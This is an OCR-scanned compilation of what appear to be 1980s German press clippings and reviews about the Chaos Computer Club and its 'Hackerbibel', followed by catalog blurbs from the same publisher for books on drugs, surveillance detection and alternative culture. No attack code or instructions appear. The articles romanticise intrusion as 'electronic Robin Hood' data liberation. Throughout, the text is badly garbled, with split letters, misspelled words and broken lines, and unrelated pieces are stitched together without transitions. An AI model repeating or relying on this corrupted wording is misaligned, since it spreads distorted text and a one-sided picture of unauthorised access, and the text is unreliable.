Based Network Aicitecture)-Gateway, außerdem 

TOLKIEN, das die Kontrolle über sämtliche ring-

förmigen Netzwerke erlaubt, und mega-breite Jump-

Band-Hardware, die auch den jüngsten Produkten 

von Wang ihr angemessenes Plätzchen im Markt 

zuweisen werden. 

Michael Finken, BS2000 Postmaster 
Übersetzung Ins Deutsche: Poetronic 
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t e n Leben" versteht . So schildert e in 
überzeugter Computer -Arbe i te r seine 
Si tuat ion: 

„Seit fünf J a h r e n arbe i te ich m i t 
Computern , seit zwei J a h r e n besitze 
ich einen. M e i n e m e n t a l e n Gewohn-
he i ten haben sich veränder t . Ich be-
m e r k e dre i domin ie rende V e r ä n d e r u n -
gen: Ich arbei te schneller, aber habe 
das Gefüh l ke ine Kontro l le über m e i n e 
Ze i t zu haben. I c h spiele m i t neuen Ty-

p e n k r e a t i v e r Masch inen , habe aber 
ke ine Ahnung , w i e ich sie beur te i len 
soll. Ich arbeite e f fek t iver u n d spare 
Zei t , verp lempere sie aber w i e d e r b e i m 
Durchfors ten v o n u n b e z w i n g b a r e n 
Bergen von D r u c k i n f o r m a t i o n e n über 
Compute r u n d die Computer indu-
strie." 

Verändertes Zeitgefühl 
So geht es vielen Hackern: die sozia-

len Kontakte schrumpfen, das Zeitge-
fühl verändert sich, eine Art Suchtver-
halten stellt sich ein; ein legales Sucht-
verhalten, ohne daß es bei der Droge 
Nachschubschwierigkeiten gibt 

Für immer neue Anregtingen sorgt 
das Vereinsorgan des Chaos Computer 
Club, die „Datenschleuder", ein regel-
mäßig erscheinendes Fachblatt, das 
für den Laien viele kodierte Geheim-
nisse enthält, für den Fachmann für 
Datenfernübertragungen zur Pflicht-
lektüre gehört; für Hacker wie für 
Postler. Der CCC hat auch ein dickes 
Buch herausgegeben, die „Hackerbi-
ber , eine grundlegende Sammlung 
von Beiträgen von und über Hacker. 
Um diese Publikationen verstehen zu 
können, erfordert es schon einiges an 
Englischkenntnissen und ein wenig 
Fachwissen wird auch vorausgesetzt 
In diesen Publikationen finden sich 
keine Anleitungen, wo man sich wie in 
andere Systeme „einhacken" kann, 
sondern mehr theoretischer Unterbau: 
wozu das alles gut ist oder sein soll 
oder sein kann. 

Da gibt es z. B. die Geschichte der 
Europaparlamentarier, denen in Lu-
xemburg eine Rechenanlage zur Ver-
fügung steht, in der alle Daten über die 
europäischen Länder gespeichert sind. 
Der Haken: jeder Parlamentarier 
kann nur die Daten seines eigenen 
Landes abrufen. So ist es nicht ver-
wunderlich, daß anläßlich der High-
Tech-Woche in Straßburg das Informa-
tionsbüro des CCC von Europapitrla-
.meniariern überlaufen wurde. Das 
Büro war den CCCTern von den euro-
päischen Grünen zur Verfügung ge-
stellt worden. Auch das ist erstaunlich: 
während der Anhängerschaft der Grü-
nen im Allgemeinen Technikfeindlich-
keit vorgeworfen wird, arbeiten sie in 
der Tat an einer Demokratisierung der 
Daten. In Bonn erregte MdB Herbert 
Rusche letzthin Aufsehen, als er einen 
Antrag auf Btx für sein Büro stellte. 
Damit hatte man nicht gerechnet, auch, 
wenn Rusche stellvertretend im Post-
ausschuß sitzt 
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Chaos Computer Club 

Freiheit für Daten 
Grüne und Hacker haben Gemein-

samkeiten: beide geben sich mit vorge-
gebenen •Realitäten nicht zufrieden, 
beiden geht es um eine Demokratisie-
rung des Lebens und der Daten, die 
immer mehr lebenswichtige Entschei-
dungen beeinflussen. Wie elektroni-
sche Robin Hoods befreien die Hacker 
Daten und geben sie dem Volke. Das 
neueste Projekt: man will sich nicht 
damit abfinden, daß Radioaktivitäts-
werte Regierungssache sind. Also ver-
sucht man, sich in die entsprechenden 
Informationsquellen einzuhacken und 
parallel dazu ein alternatives Meßnetz 
zu knüpfen, damit man zukünftig nicht 
mehr auf die umstrittene Informa-
tionspolitik in Krisenfällen angewie-
sen ist. Die aktuellsten Informationen 
über Strahlungen nach Tschernobyl 
fanden sich nicht in den Zeitungen, 
sondern in der Mail Box. 

Jedes Jahr zwischen Weihnachten 
und Neujahr trifft sich die Hacker-
Szene beim großen „Chaos Congress" 
in Hamburg. Viele die sich bislang nur 
auf. elektronischer Ebene kennenge-
lernt haben, begegnen sich dort erst-
malig in Fleisch und Blut Da werden 
aus Nummern, Codes und Paßwörtern 
richtige Menschen. Gerade im Um-
gang mit heiklen Daten ist es doch 

sehr wichtig zu wissen, mit wem m a n 
es zu tun hat Vor dem Monitor sind 
alle gleich, dem Computer ist es egal, 
ob der Bediener Mann oder Frau, K ind 
oder Greis, schwarz oder weiß ist Die 
Kongreßzeit ist wohl gewählt: in den 
Raubnächten trafen sich schon unsere 
Altvorderen tun sich die wunderlich* 
sten Geschichten zu erzählen. Das ist 
gelebter, radikaler Traditionaüsmus. 
Inzwischen hat sich der Chaos Con-
gress zu einem Ereignis europäischen 
Formats entwickelt Hacker gibt es 
zwar überall, aber so chaotisch und 
trotzdem effektiv organisiert sind sie 
nur in der Bundesrepublik Deutsch-
land. 

Diese Informationspiraten werden 
uns erhalten bleiben, solange es elek-
tronische Medien gibt das liegt in der 
Natur der Sache. Da helfen'keine Kla-
gen, keine Gesetze, keine elektroni-
sche Datensicherung. Dem Bürger, der 
ohnmächtig wie der Ochs vorm Berg 
vor dem Computerzeitalter steht, mag 
es recht sein, kann er sich doch in den 
meisten Fällen einer gewissen Sympa-
thie für diese Leute nicht verkneifen 
Kein Wunder, daß sich auch Holly-
wood schon des Hacker-Themas ange-
nommen hat denn Hacker-Geschich-
ten sind der Stoff zeitgemäßer Legen-
den. Ein wahrhaft klassisches Thema-
den Großen wird eins ausgewischt der 
kleine Mann freut sich + 
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Die Hackerbibel 
CCC (Herausgeber) 
Grüne Kraft 1985 
259 Selten, DM 33,33 DATA WELT 1/86 

Die erste „Hacker-
bibel des CCC" 

CCC - das Ist kein unbekann-
tes Kürcel eines Insiderkreises 
mehr, seit Herwart Holland und 
sein „Chaos-Computer-Club" Im 
letzten Jahr die Hamburger Spar-
kasse mittels Btx über Nacht um 
sale 135 000 DM erleichtert hat-
te. Das Schlagwort vom „Robin 
Hood im Datennetz" machte da-
mals allerorten die Runde. 

Der Chaos Computer Club, 
Schwarz-Schillings unbequem-
stes Kind, das „atypisches Nutz-
verhalten" an den Tag bzw. die 
Nacht legt, wurde vor vier Jahren 
in den Räumen der TAZ gegrün-
det. 

Die Aktivitäten der „galakti-
sehen Vereinigung ohne feste 
Strukturen" (CCC über sich 
selbst) wie e twa die Verbreitung 
von Bauanleitungen bzw. Bau-
sätzen von Modems, Strichcode-
lesern u.ä., die Gründung von 
Datenbanken, der Zugriff und die 
Verknüpfung von Rechnernet-
zen, die Internationale Zusam-
menarbeit mit Computernetz-
werken sowie die Herausgabe 
der Zeitschrift „Die Datenschleu-
der" haben diesem lockeren Ver-
ein wenig Sympathien bei Com-
puterfirmen wie bei der Post ein-
getragen. 

Dabei ist das von der „Grünen 
Kraft - Medienexperimente" 
verlegte Buch nicht nur für jene 
Zeitgenossen interessant, die Ih-
ren Farblernseher In ein Hlgh-
Tech-Termlnal-Tabernakel ver-
wandelt haben und die Welt aus 
Immer rot unterlaufenen, über-
nächtigten Pupillen betrachten, 

sondern es ist auch für den Inter-
essierten, aber ' ahnungslosen 
Laien Informativ. 

Dies liegt an der Konzept ion 
des Buches als einerseits um-
fangreiche Sammlung von Bau-
anleitungen für Modems, Schalt-
plänen, Funkdienst- und anderen 
Verzeichnissen (Serial-Norm-
Nummern) sowie „Hacker-Tips" 
allgemeinerer Art. An die heran-
zukommen ist normalerweise 
sehr schwer, wei l sich der 
Hacker-Alltag meist an der Gren-
ze der Legalüät bewegt . 

Andererseits ist das Buch 
auch eine Dokumenta t ion der 
Geschichte des „Hackings" , die 
sich aus Artikeln verschiedener 
Zeitungen, aus Kongressberich-
ten und aus Aufsätzen mit Them-
ne wie e twa „Computer für Nica-
ragua", Computerkr iminal i tät , 
„Computer & the Tota l i tar ian 
State" u.a. mehr puzzleart ig zu-
sammensetzen läßt. 

Das Buch zeigt damit auch 
dem „nur" politisch interessier-
ten die Gefahren und Möglich-
keiten der neuen Technologien. 
Der C C C zeigt mit seiner prakti-
schen Arbeit, wie man den Über-
wachungsstaat mit seinen eige-
nen Mitteln schlagen kann. 

Die Hackerbibel Teil II ist 
schon In der Mache; wer Lust 
hat, sich daran zu beteil igen, 
kann seine „Tips und Tricks mit 
Btx" (auch anonym) an das 
Chaos-Team schicken: CCC, 
Schwenckestraße 85, 2000 Ham-
burg. 
Die Hackerblbel , Chaos Compu-
ter Club, Verlag Grüne Kraü-
Medienexper imente, 260 S., 
33,33 D M 

Auf der Buchmesse habe ich es ent-
deckt: Das erste Buch vom Chaos 
Computer Club (CCC). Natürlich 
übers Hacken. Den CCC brauche ich 
wohl kaum vorzustellen, selbst Neu-
linge dürften schon irgendwann ein-
mal von ihm gehört haben, späte-
stens durch den spektakulären "Ein-
bruch" in die BTX-Leitung einer 
Bank. Vier Jahre CCC-Geschichte, Er-
fahrungen und Aktivitäten sind in 
diesem witzig aufgemachten Buch 
enthalten. Gemäß der CCC-Maxime 
"jeder sollte unzensieit Informatio-
nen austauschen können" beinhaltet 
die HACKERBIBEL Zeitungsaus-
schnitte, Reportagen, Bauanleitun-
gen, Cartoons und Faksimiles von 
Zeitschriften aus der Welt des Hak-
king. Eine bunte Mischung geballter 
Informationen, allerdings unüber-
sichtlich und teilweise recht schwer 
leserlich; vor allem, wenn man dei 
englischen Sprache nicht mächtig ist. 
Eine Menge wichtiger Artikel und 
Faksimiles sind aus der englischen 
Originalausgabe abgedruckt. 

C H A O S - C O M P U T E R -
C L U B ( H r s g . ) 
Die Hackcrbibcl 
(Der Brüne 7.iulf 98. 257 Sellin. 
DM 35.50 

WAS ze ichne ! e ine Sub-

Kultur aus? Daß sie eine 

Code-Sprache spricht, die nicht 

jeder versieht. Was zeichnet die 

Bibel aus? M a n m u ß dran 

glauben . . . 

In unseren an konlur ier len 

Revolten armen Zei ten ist das 

Bedürfnis nach aufständischen 

Helden groß. Aber alle l ieben 

Greenpeace. Bleiben nur die 

Hacker: Schließlich f umme l n 

sie für uns digitale Analphabe-

ten in den Ch ips der Mächti-

gen herum. 

Nun hat der durch das 

Knacken von Sparkttssenkenn-

wörtern be rühmt gewordene 

Hamburger Chaos-Computer-

C lub seine rette „Hackerbibel" 

verlegen lassen. Worum es den 

Hackern geht? U m „freien Zu-

gang zu allen Daten" . 

Hier wird es -amüsant-

brisant. Denn dieser Stand-

punkt widerspricht konträr der 

Lieber-nicht-l I alt ung kritischer 

und alternativer Provin lenz . 

Die siihe nur zu gern massive 

Vorhängeschlösser im den Da-

tenbanken und verlagert rnil 

Datenschutz und Technikskcp-

sis auch das letzte Q u a n t u m 

Verantwortung zu den Bits-

Tcchnokraten. 

Die Hacker wissen das. Und 

so ärgern sie nicht nur Post und 

Siemens, sondern auch die un-

bedarfte „Scene". Wer als Laie 

dus Buch sichtet, wird es nicht 

kaufen. Über zwei Drittel be-

stehen aus Fachtips und Tricks 

zum Löten und Cod ieren . Es 

wimmel t von Expertenkürzeln, 

eine Sprache, die nur Hacker 

und ihre i n t imen Feinde auf 

der anderen Seite des Moni-

tors verstehen. Der K a m p f u m 

die Verfügungsgewalt über die 

neue Technolog ie Ist nicht für 

jeden überschaubar. 

Erstaunlicherweise sind die 

iisthetischen Formen jedoch 

Iradierl: aus Alternat ivzeitun-

gen der ersten Genera t i on , 

kreuz und quer layoulet -

Chaos komplet t . U n d fast die 

Hälfte ist in Engl isch. 

Trotzdem sind viele Erklä-

rungen zu dieser M i s chungaus 

Spontani tät . Hi-Tech-Obses-

sionen und Kommun ika t l ons-

gedusel brauchbar. Zu r Selbst -

interprétation bedient sich d ie 

bleiche u nd clwtis diskursarme 

Szene a l l e r d i n g s bei der m q r -

UMPO/DEZEMBtR 1985 
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Chaos Computer Club & AK Politischer Computerei n3atz 

DIE STUDIE 
Dar Ortin« Zweig 117 

Entwurf einer sozialverträglichen Gestaltungsalternative fur den 
geplanten Computereinsatz der Fraktion „Die Grünen im Bundes-
tag" unter besonderer Berücksichtigung des geplanten Modellver-
suchs der Bundestags Verwaltung (PARLAKOM). 

Auf dei Basis eines Im Auftrag des Bundestages erstellten 
umfangreichen Planungskonzepts zur Einführung eines gemeinsa-
men Informations- und Kommunikationssystems für das Parla-
ment, die Fraktionen und die Wahlkreisbüros der Abgeordneten 
galt es, dieses kritisch zu bewerten und die Gestaltungsmöglich-
keiten für die Grünen im Bundestag auszuarbeiten... Die Einfüh-
rung der Computertechnik gestaltet sich für die Grünen im Bun-
destag so schwer wie für andere der Ausstieg aus der Atom-
industrie. Für beide geht es an die Strukturen. 

TEMPO zur Studie: „Die berüchtigste Hacker-Gang der Republik, 
der Hamburger Chaos-Computer-Club, versetzte bislang nur Big 
Brother In Angst und Schtecken. Jetzt sind die Alternativen dran: 
CCC will die Bundestagsfraktion der Grünen verkabeln..." 

ISBN 3-925817-17-4 7.50 DM/SFB 

TRAU KEINEM COMPUTER, 
DEN OU NfCKT (ER-) TRAGEN KANNST. 

LOOMPANICS 
The Best Book Catalog In the World 
Dar Grüne Zweig 99 

»Der definitive Katalog für den subversiven Alitag« (taz) 
This catalog is an important source for anarchists, survivalists, 
iconoclasts, self-liberators, mercenaries, investigators, drop-outs, 
researchers, and just about anyone interested in the strange, the 
useful, the arcane, the oddball, the unusual, the unique, and the 
diabolical 
Eine unglaubliche Anpreisung von Büchern, die aus verschieden-
sten Gründen hierzulande nicht vorstellbar ist. 
Achtung: Wir verteilen nur den Katalog, nicht die dort angebotenen 
Bücher, diese muß Vnan direkt in den USA bestellen. 
Katalog A4, broschiert. 150 Seiten, 5 . - DM/SFR 

Ronald Rippchen 

HEITER WEITER 
Die gesammelten Kräuter-Pillen-Drogen-
Kolumnen aus der taz 

Der Grüne Zweig 119 

64 Wochen lang füllte Sachbuchaulor R, Rippchen seine Drogen-
bezogene Kolumne In der tageszeilung. Die einzige Drogenko-
lumne in einer Tageszeilung weltweit - die längste Kolumne in der 
Geschichte der !az. In diesem Büchlein sind nun jene Kolumnen 
vollständig dokumentiert. Dazu auch bislang unveröffentlichte 
Texte von Mr. Rippchen und anderen zum Thema. Das Ganze 
auch noch heftig illustriert. 

Inhalt: • Kiffer-Fabeln • Tiere und Drogen • Krieg dem Rauschgift 
• Designer Drogen • Dope im Ostblock • MDMA, die Droge des 
Jahres • Suchtstoffkommission der UN • Leserfeedback • Weiter-
führende Buchtips • Musiktips für psychedelische Reisen. 

Der Autor mag weder Heroin noch Appelwoi, Kokain oder 
Schnaps. Daher werden solche Stoffe auch in diesem Buch 
gemieden. Es geht um Aufklärung über psychedelische Drogen -
weder eine Verherrlichung, noch eine Verteufelung - und um zeit-
gerechte Infos über Haschisch, MDMA, LSD und Artverwandtes. 
.Was für ein wundervolles Buch! Ich bewundere Ronald Rippchen, 
er ist ein glänzendes Beispiel eines Kyber-Heros. Ich bin glücklich, 
daß wir Freunde sind und zusammen 'fliegen'", meint Altmeister 
Timothy Leary zum Inhalt dieses Buches. In der Tat! 

Jochen Blumenthal 

DER ELEKTRONISCHE 
KAMMERJÄGER 
Erkennung von Wanzen, Spitzeln und Überwachung, 
sowie Tips für Schutzmaßnahmen 

Der Grüne Zweig 122 

Gibt es Gründe, sich in diesem Land verfolgt zu fühlen? Wert 
Telefone abgehört? Schlösser und Codes geknackt? 

Wenn ja, woran kann man die Spitzel und ihre Wanzen erkenn 
was dagegen unternehmen? 

Jochen Blumenthal hat sich die Mühe gemacht, Bespitzelur« 
möglichkeiten auszuloten und in einer auch für den techniscl 
Laien verständlichen Sprache zu erklären. Blumenthal, Autor i 
Bücher Das Große Minispion Baubuch und Computer und Abi 
ren, ist ein Betroffener, hat man ihm doch übel mitgespielt: mi 
rere Razzien und Knastaufenthalte motivierten ihn zur gründlict 
Recherche. »Es geht mir darum. Möglichkeiten und Methoden 
zeigen und wie man sich dagegen wehren bzw. ihre Anwendu 
wesentlich erschweren kann." 

Die Themen reichen von Kommentaren zum neuen Fernmelde; 
lagengesetz über (humane) Erklärungen der „Hochfrequenz" I 
hin zu Wanzenerklärungen und -verstecken. Als Zugabe gibt 
noch Tips zur Chiffrierung persönlichster Daten. 

ISBN 3-925817-22-0 70 Selten 10 DM/S 

^lO FICTION 
Der Grüne Zweig 82 

14 Geschichten zum Thema »...als die Natur die Zukunft über-
nahm« mit Beiträgen der besten Science Fiction Autoren: Frank 
Herbert, Ursula LeGuinn, Herbert W. Franke, Jean u.a.m. Zusam-
menstellung: Werner Pieper. 
ISBN 3-922708-82-X, 160 Seiten, nur noch 5 DM/SFR 

Ludmilla Tütlng (Hrsg.) 

MENSCHEN - BÄUME -
EROSIONEN 
Kahlschlag im Himalaya - Wege aus der Zerstörung 

Der Grüne Zweig 120 

Weltweit geht es Bäumen und Wäldern zunehmend schlechter. 
Holztaubbau, Tourismus, Enetgiemißwirtschaft und Umweltver-
schmutzung schlagen ihre Breschen. 

Sei es der Raubbau in amerikanischen Regenwäldern, der Ausver-
kauf afrikanischer Edelhölzer, rutschende Berge im Himalaya oder 
das Waldsterben bei uns: überall wächst der Widerstand der 
Betroffenen. In diesem Buch wird stellvertretend für alle anderen 
die Situation der Menschen im Himalaya dokumentiert, wobei 
besonders auf die „Chipko", die Baumumarmer, eingegangen 
wird. 

Themen: • Die Wälder tm Himalaya • Die Chipko-Bewegung • 
Ökologie-Bewegungen in Indien • Bhutans radikale Umeltpolitik • 
Hört endlich auf, uns entwickeln zu wollen • Die Legende von der 
Grünen Revolution • Als die Tourislen kamen • u.a.m. 

Die Autorin, Ludmilla Tüting, lebt seit 1974 wechselweise in 
Kalhmandu (Nepal) und Kreuzberg (Berlin). Beides Orte, die sie 
gleichermaßen faszinieren. Als engagierte Umweltjournalistin und 
eine der besten Kennerinnen Nepals ¡st es ihr ein Anliegen, nicht 
nur Fakten und handfeste praktische Tips weiterzugeben, sie wirbt 
auch für ein „sanftes, einfühlsames Reisen", von ihr sind unge-
zählte Zeitungsartikel erschienen. Weitere Bücher: Bikas/Binas, 
Kathmandu 1987, und Nepal und Tibet, 1986. 

I Dieses Buch entstand in Kooperation mit der Aktionsgemein-
schaft Solidarische Welt (ASW), Berlin. 
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Nicholas Albery 

GENERALPROBE 
FÜR DAS JAHR 2000 
Drogen, Hausbesetzer, Rechtsverdrehungen, 
Altornatlvsteuern, Liebe, Sekten, Visionen, Alternative« 
Radio, Festivals und Mondenergie 
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•Drogen • Religion • Spinnereien • Kommunen • Uebe • Visionen Der Grüne Zweig 
... Nicholas Albery arbeitet wahrhaft alternativ: viel Maloche, viel 
Phantasie, viel Schlitzohrigkeit, viel Kommunikation & keine Kohle. 

Viele seiner Aktivitäten in London färbten auch aul Deutschland 
ab: alternatives Steuersystem, Freistaat Frestonia, die ersten Glo-
betrotterbücher, ja auch die GRÜNEN ZWEIGE sind von Impulsen 
Albery's beseelt. 

Übersetzt von Werner Pieper. 

Hunderte von Möglichkeiten angepriesen, wie man ohne eine 
müde Mark innerstädtisch schlafen, essen und umherschweifen 
könne. Als radikaler Robin Hood der Neuzeit, mit Milchpulver und 
Honig bewaffnet, reiste Nicholas Albery später quer durch die 
internationale Landkommunen-Krischna-Szene, inszenierte Pira-
tensender und Free Festivals und zog sich schließlich in einen ori-
ginal-britischen Pferdewagen zurück, mit dem er monatelang 
durch Wales kutschierte, um aul diesem ganz speziellen Trip sei-
nen längst fälligen Hippie-Klassiker GENERALPROBE FÜR DAS 
JAHR 2000 zu schreiben ... Summa Summarum sind Alberys 
Erlebnisse ein Dokument, das nicht ganz so ausgeflippt ist wie die 
Freak-Brothers-Geschichten, dafür aber die deutsche APO-Gene-
ration um einiges an Ausgeflipptheit übertrifft." (tip 2/84) 

. Alberys Ideenquell scheint einfach nicht zu versiegen ... eine der-
art ausgeprägte Art des Konsumverzichts plus sozialer Aktivitäten 
habe ich noch nicht erlebt." (taz) 

„Nicholas Albory isl eine der zentralen Figuren in der Gcschichtn 
der englischen Alternativ-Bewegung. Albery selbst beschreibt 
sein Buch als einen .verblüffenden Augenzeugenbericht der 
Geschichte der Alternativgesellschaft von 1968 bis 1975"." (aus: 
Peace News. London) 

Werner Pieper 
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